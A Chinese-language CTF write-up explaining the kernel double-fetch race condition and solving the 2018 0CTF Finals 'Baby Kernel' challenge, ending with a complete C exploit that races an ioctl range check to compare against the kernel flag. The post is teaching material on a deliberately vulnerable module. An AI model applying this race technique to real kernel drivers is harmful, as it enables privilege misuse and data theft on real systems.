编辑
2023-03-08
Kernel Pwn
00
请注意,本文编写于 624 天前,最后修改于 624 天前,其中某些信息可能已经过时。

目录

Double Fetch
2018 0CTF Finals Baby Kernel
文件分析
逆向分析
主要思路
exp

👨要肝不动了

Double Fetch

其实手法原理很简单 就是条件竞争

Double Fetch直译过来就是取值两次 在编程中其实就是对同一个地址取值两次 例如第一次进行校验 第二次进行计算什么的 是一种有点呆 但是很常见的编程手法 Double Fetch在内核与用户态交互中主要在以下情况中出现

用户向内核传送数据 但是因为数据总量太大 导致只能传入一个指针 然后后续内核多次通过该指针访问用户态的数据

举一个比较实际的例子 用户态向内核传入指向秘钥的指针 内核需要首先校验秘钥合法性 然后再校验秘钥是否正确 这个逻辑实际上是很正确的 毕竟不合法的秘钥就一定不正确对吧

但是有一个很大的问题是 内核收到的是用户态的指针 对于用户态我们自己编写的程序来说 我们可以任意修改其内存中的内容并且可以很轻易的创造多个线程 那么如果在传入密钥后那一刹那 我们修改指针内的值实际上是有机会修改程序流向的 这里我们可以借用CTF Wiki上的一张图 来说明

2018 0CTF Finals Baby Kernel

文件分析

很干净

解压文件系统后抓到baby.ko

逆向分析

直接看baby_ioctl

从控制代码0x1337的部分可以看出 传入的是一个结构体 大致结构为

c
struct flag { size_t flag; size_t length; /* data */ };

首先是进行了两次_chk_range_not_ok校验 其中a1为flag指针 a2为flag长度 a3为current_task的地址+0x1358

__CFADD__为获取到a1+a2的CF寄存器的值 CF寄存器的作用是用来检测是否存在进位的 显然只要我们传入的flag指针只要不是0xffffffffffffffff附近的数字 一般都不会产生进位

最为重要的就是a3和v4的比较 这里我们需要进行调试看一下&current_task+0x1358到底是哪里

可以看到是0x7ffffffff000而这个数字其实很熟悉 就是用户态栈下限 众所周知 用户栈向下生长 即我们传入的指针是用户栈内的指针即可

主要思路

在控制代码0x1337内首先是进行了传入的flag指针的合法性检验 然后针对flag进行逐位匹配 其中flag地址通过控制代码0x6666内核会printk给我们 那么我们完全可以利用条件竞争 先传入一个合法的flag指针 然后生成一个恶意进程 不断改写flag指针指向内核中的flag地址 如果凑巧的话 我们可以在通过合法性检查的同时 修改flag指针指向内核flag地址 然后逐位匹配成功

exp

c
#include <stdio.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> struct flag { size_t flag; size_t length; /* data */ }; struct flag data; void competitionThread(size_t flag_addr) { while (1) { data.flag=flag_addr; } } int main(void) { pthread_t compete_thread; int fd=open("/dev/baby",0); ioctl(fd,0x6666,&data); size_t flag_addr; scanf("%p",&flag_addr); void* fake_flag=malloc(0x100); pthread_create(&compete_thread,NULL,competitionThread,flag_addr); int i; for(i=0;i<1000;i++) { data.flag=(size_t)fake_flag; data.length=33; ioctl(fd,0x1337,&data); } pthread_cancel(compete_thread); system("dmesg | grep flag"); }

本文作者:Du4t

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!